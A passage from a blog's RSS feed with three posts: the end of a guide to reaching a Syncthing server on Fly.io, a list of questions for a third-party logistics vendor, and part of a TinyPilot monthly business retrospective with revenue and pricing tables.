 src="https://mtlynch.io/syncthing-on-fly.io/add-cloud-syncthing.webp" alt="Screenshot showing checking box for cloud-syncthing and adding a password in Edit Folder &amp;gt; Sharing" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="access-web-ui">Access web UI&lt;/h3>
&lt;p>To access your Fly.io server&amp;rsquo;s Syncthing admin dashboard, open a proxy to connect your local port 8388 to your Fly.io server&amp;rsquo;s port 8384:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>fly proxy 8388:8384
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With the proxy in place, you should be able to access your cloud server&amp;rsquo;s Syncthing dashboard from your local device via a &lt;code>localhost&lt;/code> URL:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://localhost:8388">http://localhost:8388&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>You should see an admin dashboard like the following:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard_hu_87a86ec1fd735749.webp 300w, https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard_hu_b46f2bcfed8f2bcd.webp 600w, https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard_hu_2cd818a2b47b839d.webp 800w, https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard.webp 895w'
 src="https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard.webp" alt="Screenshot of Syncthing dashboard on fly.io" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Congratulations! You&amp;rsquo;ve deployed your Syncthing server to the cloud, and you now have full access to it. From here, you can configure it just like you would any other device running Syncthing.&lt;/p>
&lt;p>When you&amp;rsquo;re done configuring Syncthing settings on your Fly.io server, terminate the &lt;code>fly proxy&lt;/code> command with &lt;code>Ctrl+C&lt;/code>.&lt;/p></content:encoded></item><item><title>Questions to ask a potential 3PL vendor</title><link>https://mtlynch.io/notes/3pl-questions/</link><pubDate>Thu, 11 May 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/3pl-questions/</guid><description>&lt;p>Over the past six months, I&amp;rsquo;ve been transitioning the fulfillment processes at my e-commerce business to a third-party logistics (3PL) vendor.&lt;/p>
&lt;p>I didn&amp;rsquo;t know anything about 3PLs before starting this process, so there were a lot of things I didn&amp;rsquo;t know to ask about. Here are the list of questions that I recommend e-commerce merchants ask a 3PL if they&amp;rsquo;re considering working with them for fulfillment.&lt;/p>
&lt;h2 id="customer-profile">Customer profile&lt;/h2>
&lt;ul>
&lt;li>Do you have other clients whose order volumes are similar to mine?
&lt;ul>
&lt;li>What&amp;rsquo;s the minimum and maximum order volume you can support?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Do you have other clients whose products are similar to mine in price?&lt;/li>
&lt;li>Do you have other clients whose products are similar to mine in weight and volume?&lt;/li>
&lt;/ul>
&lt;h2 id="integration-with-e-commerce-platforms">Integration with e-commerce platforms&lt;/h2>
&lt;ul>
&lt;li>What&amp;rsquo;s the process of connecting to my e-commerce platform?
&lt;ul>
&lt;li>Do I install an app?&lt;/li>
&lt;li>Do &lt;a href="https://mtlynch.io/retrospectives/2023/04/#everyone-just-gives-us-their-admin-password">I have to make you admin in my Shopify store?&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How quickly does your order management system sync with my e-commerce platform?
&lt;ul>
&lt;li>i.e., when you print a shipping label, how quickly do I see that reflected in Shopify?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How do I present your shipping rates to my customers?
&lt;ul>
&lt;li>Can I present real-time shipping rates from your couriers or do we need to use flat shipping fees?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="recordkeeping--auditing">Recordkeeping / auditing&lt;/h2>
&lt;ul>
&lt;li>How often do you do stocktakes?&lt;/li>
&lt;li>Do I have access to your inventory tracking system?
&lt;ul>
&lt;li>If not, how frequently do you share reports of inventory counts and changes?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How will you share records of inventory changes with me?
&lt;ul>
&lt;li>i.e., When did products arrive at your warehouse? When did they go out for customer orders? When did stocktakes happen?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="schedule">Schedule&lt;/h2>
&lt;ul>
&lt;li>Which days of the week do you fulfill orders?&lt;/li>
&lt;li>What holidays do you observe?&lt;/li>
&lt;li>What&amp;rsquo;s the typical turnaround time for fulfilling an order?&lt;/li>
&lt;/ul>
&lt;h2 id="shipping">Shipping&lt;/h2>
&lt;ul>
&lt;li>Do you pass through postage costs directly from couriers or do you add a surcharge?&lt;/li>
&lt;li>Which shipping couriers and services do you support for domestic orders?&lt;/li>
&lt;li>Which shipping couriers and services do you support for international orders?
&lt;ul>
&lt;li>Can you ship international orders &lt;a href="https://www.investopedia.com/terms/d/delivery-duty-paid.asp">delivered duty paid (DDP)&lt;/a>?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s the cutoff time for same-day shipping?&lt;/li>
&lt;/ul>
&lt;h2 id="payment">Payment&lt;/h2>
&lt;ul>
&lt;li>What are your fees?&lt;/li>
&lt;li>How do you accept payment?
&lt;ul>
&lt;li>Do you charge a surcharge for different payment options (e.g., surcharge for credit cards)?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="handling-issues-and-unusual-orders">Handling issues and unusual orders&lt;/h2>
&lt;ul>
&lt;li>What&amp;rsquo;s your error rate?
&lt;ul>
&lt;li>i.e., how often do customers receive the wrong item or wrong quantities?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Who absorbs costs of a fulfillment error?
&lt;ul>
&lt;li>What if we have to re-ship with expedited shipping to meet a customer deadline?&lt;/li>
&lt;li>What if you sent a more expensive item and the customer has already opened it or refuses to return it?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Who absorbs costs for lost inventory at the warehouse?
&lt;ul>
&lt;li>e.g., warehouse confirms receipt of 100 items, ships 75 over the course of the next month, but the next stocktake shows only 23 remaining (100 - 75 - 23 = 2 are missing)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How do we handle it if a customer &lt;a href="https://mtlynch.io/retrospectives/2023/02/#what-if-a-customer-changes-their-order">places an order and then emails me to make a change&lt;/a>?
&lt;ul>
&lt;li>Will changes in my e-commerce platform immediately sync to your order management system?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How do we handle it when a customer asks us to hold off on fulfilling an order?
&lt;ul>
&lt;li>What&amp;rsquo;s the process of pausing fulfillment on an order?&lt;/li>
&lt;li>Will your order management system recognize Shopify&amp;rsquo;s &amp;ldquo;pause fulfillment&amp;rdquo; feature?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="location">Location&lt;/h2>
&lt;ul>
&lt;li>Where are your warehouses located?
&lt;ul>
&lt;li>Note: Depending on your tax situation, fulfilling your orders from a warehouse in a state outside of your headquarters means you&amp;rsquo;re responsible for collecting and paying sales tax in the warehouse&amp;rsquo;s state. Keep this in mind, as filing taxes in a new state is a significant administrative burden.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="insurance">Insurance&lt;/h2>
&lt;ul>
&lt;li>Does your insurance cover the value of our property?&lt;/li>
&lt;li>If not:
&lt;ul>
&lt;li>What year was the warehouse built?&lt;/li>
&lt;li>How many stories does the warehouse have?&lt;/li>
&lt;li>Does the warehouse have wood frame construction?&lt;/li>
&lt;li>Does the warehouse have a sprinkler system?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description><content:encoded>&lt;p>Over the past six months, I&amp;rsquo;ve been transitioning the fulfillment processes at my e-commerce business to a third-party logistics (3PL) vendor.&lt;/p>
&lt;p>I didn&amp;rsquo;t know anything about 3PLs before starting this process, so there were a lot of things I didn&amp;rsquo;t know to ask about. Here are the list of questions that I recommend e-commerce merchants ask a 3PL if they&amp;rsquo;re considering working with them for fulfillment.&lt;/p>
&lt;h2 id="customer-profile">Customer profile&lt;/h2>
&lt;ul>
&lt;li>Do you have other clients whose order volumes are similar to mine?
&lt;ul>
&lt;li>What&amp;rsquo;s the minimum and maximum order volume you can support?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Do you have other clients whose products are similar to mine in price?&lt;/li>
&lt;li>Do you have other clients whose products are similar to mine in weight and volume?&lt;/li>
&lt;/ul>
&lt;h2 id="integration-with-e-commerce-platforms">Integration with e-commerce platforms&lt;/h2>
&lt;ul>
&lt;li>What&amp;rsquo;s the process of connecting to my e-commerce platform?
&lt;ul>
&lt;li>Do I install an app?&lt;/li>
&lt;li>Do &lt;a href="https://mtlynch.io/retrospectives/2023/04/#everyone-just-gives-us-their-admin-password">I have to make you admin in my Shopify store?&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How quickly does your order management system sync with my e-commerce platform?
&lt;ul>
&lt;li>i.e., when you print a shipping label, how quickly do I see that reflected in Shopify?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How do I present your shipping rates to my customers?
&lt;ul>
&lt;li>Can I present real-time shipping rates from your couriers or do we need to use flat shipping fees?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="recordkeeping--auditing">Recordkeeping / auditing&lt;/h2>
&lt;ul>
&lt;li>How often do you do stocktakes?&lt;/li>
&lt;li>Do I have access to your inventory tracking system?
&lt;ul>
&lt;li>If not, how frequently do you share reports of inventory counts and changes?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How will you share records of inventory changes with me?
&lt;ul>
&lt;li>i.e., When did products arrive at your warehouse? When did they go out for customer orders? When did stocktakes happen?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="schedule">Schedule&lt;/h2>
&lt;ul>
&lt;li>Which days of the week do you fulfill orders?&lt;/li>
&lt;li>What holidays do you observe?&lt;/li>
&lt;li>What&amp;rsquo;s the typical turnaround time for fulfilling an order?&lt;/li>
&lt;/ul>
&lt;h2 id="shipping">Shipping&lt;/h2>
&lt;ul>
&lt;li>Do you pass through postage costs directly from couriers or do you add a surcharge?&lt;/li>
&lt;li>Which shipping couriers and services do you support for domestic orders?&lt;/li>
&lt;li>Which shipping couriers and services do you support for international orders?
&lt;ul>
&lt;li>Can you ship international orders &lt;a href="https://www.investopedia.com/terms/d/delivery-duty-paid.asp">delivered duty paid (DDP)&lt;/a>?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s the cutoff time for same-day shipping?&lt;/li>
&lt;/ul>
&lt;h2 id="payment">Payment&lt;/h2>
&lt;ul>
&lt;li>What are your fees?&lt;/li>
&lt;li>How do you accept payment?
&lt;ul>
&lt;li>Do you charge a surcharge for different payment options (e.g., surcharge for credit cards)?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="handling-issues-and-unusual-orders">Handling issues and unusual orders&lt;/h2>
&lt;ul>
&lt;li>What&amp;rsquo;s your error rate?
&lt;ul>
&lt;li>i.e., how often do customers receive the wrong item or wrong quantities?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Who absorbs costs of a fulfillment error?
&lt;ul>
&lt;li>What if we have to re-ship with expedited shipping to meet a customer deadline?&lt;/li>
&lt;li>What if you sent a more expensive item and the customer has already opened it or refuses to return it?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Who absorbs costs for lost inventory at the warehouse?
&lt;ul>
&lt;li>e.g., warehouse confirms receipt of 100 items, ships 75 over the course of the next month, but the next stocktake shows only 23 remaining (100 - 75 - 23 = 2 are missing)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How do we handle it if a customer &lt;a href="https://mtlynch.io/retrospectives/2023/02/#what-if-a-customer-changes-their-order">places an order and then emails me to make a change&lt;/a>?
&lt;ul>
&lt;li>Will changes in my e-commerce platform immediately sync to your order management system?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How do we handle it when a customer asks us to hold off on fulfilling an order?
&lt;ul>
&lt;li>What&amp;rsquo;s the process of pausing fulfillment on an order?&lt;/li>
&lt;li>Will your order management system recognize Shopify&amp;rsquo;s &amp;ldquo;pause fulfillment&amp;rdquo; feature?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="location">Location&lt;/h2>
&lt;ul>
&lt;li>Where are your warehouses located?
&lt;ul>
&lt;li>Note: Depending on your tax situation, fulfilling your orders from a warehouse in a state outside of your headquarters means you&amp;rsquo;re responsible for collecting and paying sales tax in the warehouse&amp;rsquo;s state. Keep this in mind, as filing taxes in a new state is a significant administrative burden.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="insurance">Insurance&lt;/h2>
&lt;ul>
&lt;li>Does your insurance cover the value of our property?&lt;/li>
&lt;li>If not:
&lt;ul>
&lt;li>What year was the warehouse built?&lt;/li>
&lt;li>How many stories does the warehouse have?&lt;/li>
&lt;li>Does the warehouse have wood frame construction?&lt;/li>
&lt;li>Does the warehouse have a sprinkler system?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 34</title><link>https://mtlynch.io/retrospectives/2023/05/</link><pubDate>Thu, 11 May 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/05/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>We&amp;rsquo;ve completed transitioning TinyPilot&amp;rsquo;s fulfillment to a third-party vendor.&lt;/li>
&lt;li>The local team is escaping their months-long stint in &amp;ldquo;urgent mode.&amp;rdquo;&lt;/li>
&lt;li>Now that production speed isn&amp;rsquo;t a bottleneck, I can choose a price that optimizes for profitability.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>We&amp;rsquo;ve completed transitioning TinyPilot&amp;rsquo;s fulfillment to a third-party vendor.&lt;/li>
&lt;li>The local team is escaping their months-long stint in &amp;ldquo;urgent mode.&amp;rdquo;&lt;/li>
&lt;li>Now that production speed isn&amp;rsquo;t a bottleneck, I can choose a price that optimizes for profitability.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="transition-all-products-to-our-3pl-vendor">Transition all products to our 3PL vendor&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Our 3PL vendor is now shipping all of our products.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The transition went smoothly, and it&amp;rsquo;s a big step forward for the company. With the 3PL handling day-to-day order fulfillment, we have much more flexibility, as we don&amp;rsquo;t have to staff the office six days a week. Employees still go into the office regularly, but there&amp;rsquo;s no pressure to get everything done before that day&amp;rsquo;s mail pickup.&lt;/p>
&lt;h3 id="choose-a-contract-manufacturer-to-take-over-tinypilots-device-assembly-and-begin-the-transition-process">Choose a contract manufacturer to take over TinyPilot&amp;rsquo;s device assembly and begin the transition process&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;m still in discussions but haven&amp;rsquo;t officially picked one.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I found a contract manufacturer I like but still haven&amp;rsquo;t signed with them officially. I&amp;rsquo;m waiting for a formal price quote and timeline. Their oprimistic, unofficial estimate for the first production batch is October 2023.&lt;/p>
&lt;h3 id="publish-a-new-release-of-tinypilot-pro">Publish a new release of TinyPilot Pro&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://tinypilotkvm.com/pro/changes#254">TinyPilot Pro 2.5.4&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This was not an exciting release feature-wise, but it created a path for users to migrate off of Debian Buster, which is now a legacy OS. Dropping support for Buster means eliminating a lot of complexity in our codebase, where we had conditional logic for that OS version.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2023&lt;/th>
 &lt;th>April 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,443&lt;/td>
 &lt;td>6,560&lt;/td>
 &lt;td>&lt;font color="red">-883 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>17,904&lt;/td>
 &lt;td>15,034&lt;/td>
 &lt;td>&lt;font color="red">-2,870 (-16%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$83,529.40&lt;/td>
 &lt;td>$82,060.84&lt;/td>
 &lt;td>&lt;font color="red">-$1,468.56 (-2%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$4,820.75&lt;/td>
 &lt;td>$2,369.08&lt;/td>
 &lt;td>&lt;font color="red">-$2,451.67 (-51%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$88,640.85&lt;/td>
 &lt;td>$84,720.62&lt;/td>
 &lt;td>&lt;font color="red">-$3,920.23 (-4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$43,952.10&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$10,295.55&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$33,656.55 (-77%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The numbers look scary because everything is down, but the difference is minor. Total revenue is only down 4%. Profit is down, but that&amp;rsquo;s just a function of how lumpy expenses are. I&amp;rsquo;m still feeling positive about average monthly profits in the $20-30k range.&lt;/p>
&lt;h2 id="getting-over-the-3pl-hump">Getting over the 3PL hump&lt;/h2>
&lt;p>For the past few months, TinyPilot&amp;rsquo;s local team has been working at nearly 100% capacity, so my top priority was to find ways to reduce load on them.&lt;/p>
&lt;p>One of the best bang-for-buck steps I saw in reducing workload was &lt;a href="https://mtlynch.io/retrospectives/2023/04/#the-hiccups-in-transitioning-to-a-3pl-vendor">completing our transition to a third-party logistics (3PL) vendor&lt;/a>. Since the beginning of TinyPilot, we&amp;rsquo;ve been shipping orders directly from our office. With a 3PL, we&amp;rsquo;d ship our products in bulk to a warehouse, and then the 3PL would handle the day-to-day work of fulfilling customer orders as they arrived.&lt;/p>
&lt;p>Outsourcing fulfillment to a 3PL would definitely save us a good chunk of work, but it was a catch-22 in that the switch itself would take extra work.&lt;/p>
&lt;p>Once we shipped our products to the 3PL, it would take about a week before the 3PL was ready to process orders. That meant that we had to build up an extra week&amp;rsquo;s worth of inventory — no small feat when we were barely keeping up with the existing order volume.&lt;/p>
&lt;p>I could have closed up shop for a week while we transitioned, but that would be akin to forfeiting $10-20k in lost sales. Instead, I took a few measures to reduce load for the local team so that they could focus their energy on building up our inventory.&lt;/p>
&lt;p>First, I decreased ad spending. That was a no-brainer. There&amp;rsquo;s no use spending money to attract new customers when we already have more demand than we can handle.&lt;/p>
&lt;p>Second, I increased prices. I &lt;a href="#what-price-maximizes-profits">bumped TinyPilot&amp;rsquo;s price&lt;/a> in several rounds to slow down the volume of sales while minimizing revenue loss.&lt;/p>
&lt;p>Finally, I pitched in on customer support. The local staff covers assembly, fulfillment, and customer support. Every hour I could save the local staff on support meant another hour they could dedicate to building devices.&lt;/p>
&lt;p>And fortunately, those efforts succeeded. At the beginning of May, the local team had built up enough of an inventory surplus to ship a week&amp;rsquo;s worth of inventory to the 3PL. Once the 3PL was up and running, the local team&amp;rsquo;s workload dropped by about 15%.&lt;/p>
&lt;p>The transition to the 3PL went pretty smoothly, but there are definitely things I&amp;rsquo;d plan better if I were doing it again. I&amp;rsquo;ve collected a set of &lt;a href="https://mtlynch.io/notes/3pl-questions/">questions to ask a 3PL vendor&lt;/a> for others who are approaching 3PLs for the first time (or me, if I ever switch vendors).&lt;/p>
&lt;h2 id="getting-out-of-urgent-mode">Getting out of “urgent mode”&lt;/h2>
&lt;p>Even after outsourcing fulfillment to the 3PL, we couldn&amp;rsquo;t relax as much as I&amp;rsquo;d hoped. With only a few days of inventory at the warehouse, the team was still scrambling to build new devices and replenish the 3PL&amp;rsquo;s stock.&lt;/p>
&lt;p>I wistfully remembered how much spare capacity the local team had a year ago. At that point, my biggest problem was &lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-spend-less-time-coordinating-changes">missing opportunities&lt;/a> to let them take on more responsibility.&lt;/p>
&lt;p>This year, the situation had flipped. I was taking on tasks that the local team would otherwise be doing. And there was a constant feeling that we were struggling to stay on top of our workload rather than just handling it calmly. We were neglecting long-term tasks like documentation or inventory planning.&lt;/p>
&lt;p>Worst of all, I couldn&amp;rsquo;t get excited about strong sales days. When I&amp;rsquo;d check Shopify and see we sold 10+ units in a single day, instead of celebrating the win, my first thought was, &amp;ldquo;Oh no! This is going to make it harder for us to build up inventory at the warehouse.&amp;rdquo;&lt;/p>
&lt;p>I felt like we&amp;rsquo;d be able to relax when the warehouse had a month&amp;rsquo;s worth of inventory. I did some quick spreadsheet calculations and estimated that it would take us until July to reach that point, but I didn&amp;rsquo;t want everyone to feel this way for another two months.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 829px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/05/hypothetical-builds.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 829px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/05/hypothetical-builds_hu_e5a1470d198801f6.webp 300w, https://mtlynch.io/retrospectives/2023/05/hypothetical-builds_hu_1118a8d1e4cc5a59.webp 600w, https://mtlynch.io/retrospectives/2023/05/hypothetical-builds_hu_55a84e3895da1f77.webp 800w, https://mtlynch.io/retrospectives/2023/05/hypothetical-builds.webp 827w'
 src="https://mtlynch.io/retrospectives/2023/05/hypothetical-builds.webp" alt="Spreadsheet calculations showing inventory balance relative to our current sale and production rate" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>By my estimates, it would take us until July to build up a healthy inventory at our 3PL.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>For the past few months, I&amp;rsquo;d considered hiring a third local employee. I was reticent because I expected load to drop once we moved fulfillment to a 3PL and then drop a lot once we moved production to a contract manufacturer. At that point, the local team&amp;rsquo;s job would reduce to only customer support, and I didn&amp;rsquo;t expect there to be enough support work for three people.&lt;/p>
&lt;p>When I saw there was still a significant workload after our 3PL transition, I came back to the idea of a third employee. And then a lightbulb went off: if there wouldn&amp;rsquo;t be enough work in six months, I could just advertise it as a short-term position.&lt;/p>
&lt;p>I posted the job on craigslist and in local Facebook groups. Over the course of two weeks, I received 18 applications, interviewed five people, and extended one offer, which the candidate accepted. The new employee begins work this week.&lt;/p>
&lt;p>There has definitely been a change in mood since we decided to bring in a third employee. The team doesn&amp;rsquo;t feel the pressure to hurry for the short term. Everyone&amp;rsquo;s more relaxed, and we&amp;rsquo;re back to investing in documentation and long-term planning.&lt;/p>
&lt;h2 id="what-price-maximizes-profits">What price maximizes profits?&lt;/h2>
&lt;p>For the past two months, I&amp;rsquo;ve been increasing TinyPilot&amp;rsquo;s price to reduce sales volume. I intentionally priced TinyPilot high so that we&amp;rsquo;d reduce total sales and have more time to catch up on inventory.&lt;/p>
&lt;p>Now that we&amp;rsquo;ve caught our breath and have additional capacity to build devices, I can price our products to maximize profit rather than to work around a bottleneck in production speed.&lt;/p>
&lt;p>I had experimented with pricing last month, but now that I have more data, let&amp;rsquo;s see what the numbers look like.&lt;/p>
&lt;h3 id="voyager-2a-usb-c">Voyager 2a USB-C&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Price&lt;/th>
 &lt;th>Time Period&lt;/th>
 &lt;th>Days&lt;/th>
 &lt;th>Sales per Day&lt;/th>
 &lt;th>Revenue per Day&lt;/th>
 &lt;th>Profit per Day&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>$379&lt;/td>
 &lt;td>Feb. 13 - Mar. 6&lt;/td>
 &lt;td>22&lt;/td>
 &lt;td>5.0&lt;/td>
 &lt;td>$1,895&lt;/td>
 &lt;td>$1,220&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$399&lt;/td>
 &lt;td>Mar. 7 - Mar. 12&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>5.7&lt;/td>
 &lt;td>$2,261&lt;/td>
 &lt;td>$1,496&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$429&lt;/td>
 &lt;td>Mar. 13 - Apr. 10&lt;/td>
 &lt;td>29&lt;/td>
 &lt;td>4.6&lt;/td>
 &lt;td>$1,953&lt;/td>
 &lt;td>$1,338&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$499&lt;/td>
 &lt;td>Apr. 11 - May 3&lt;/td>
 &lt;td>23&lt;/td>
 &lt;td>3.3&lt;/td>
 &lt;td>$1,671&lt;/td>
 &lt;td>$1,219&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/05/price-profit-usb-c.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/05/price-profit-usb-c_hu_6c86cecaaf4a0b05.webp 300w, https://mtlynch.io/retrospectives/2023/05/price-profit-usb-c_hu_5160b083fc426f6d.webp 600w, https://mtlynch.io/retrospectives/2023/05/price-profit-usb-c.webp 600w'
 src="https://mtlynch.io/retrospectives/2023/05/price-profit-usb-c.webp" alt="Graph of price vs. daily revenue and profit for TinyPilot Voyager 2a (USB-C)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Last month, I was surprised at &lt;a href="https://mtlynch.io/retrospectives/2023/04/#reflections">how inelastic&lt;/a> the demand was for TinyPilot. I expected more of a drop in sales as I increased prices. With more data, the demand curve is a little closer to my expectations. A $120 price increase (32%) caused a 34% decrease in orders.&lt;/p>
&lt;p>Interestingly, profit was almost perfectly equal at the $379 and $499 price points ($1,220/day vs. $1,219/day). Overall profits would be higher at the $499 price, as 34% fewer sales would mean lower long-term support costs.&lt;/p>
&lt;h3 id="voyager-2a-poe">Voyager 2a PoE&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Price&lt;/th>
 &lt;th>Time Period&lt;/th>
 &lt;th>Days&lt;/th>
 &lt;th>Sales per Day&lt;/th>
 &lt;th>Revenue per Day&lt;/th>
 &lt;th>Profit per Day&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>$478&lt;/td>
 &lt;td>Feb. 13 - Mar. 6&lt;/td>
 &lt;td>22&lt;/td>
 &lt;td>1.3&lt;/td>
 &lt;td>$630&lt;/td>
 &lt;td>$426&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$498&lt;/td>
 &lt;td>Mar. 7 - Mar. 12&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>2.5&lt;/td>
 &lt;td>$1,245&lt;/td>
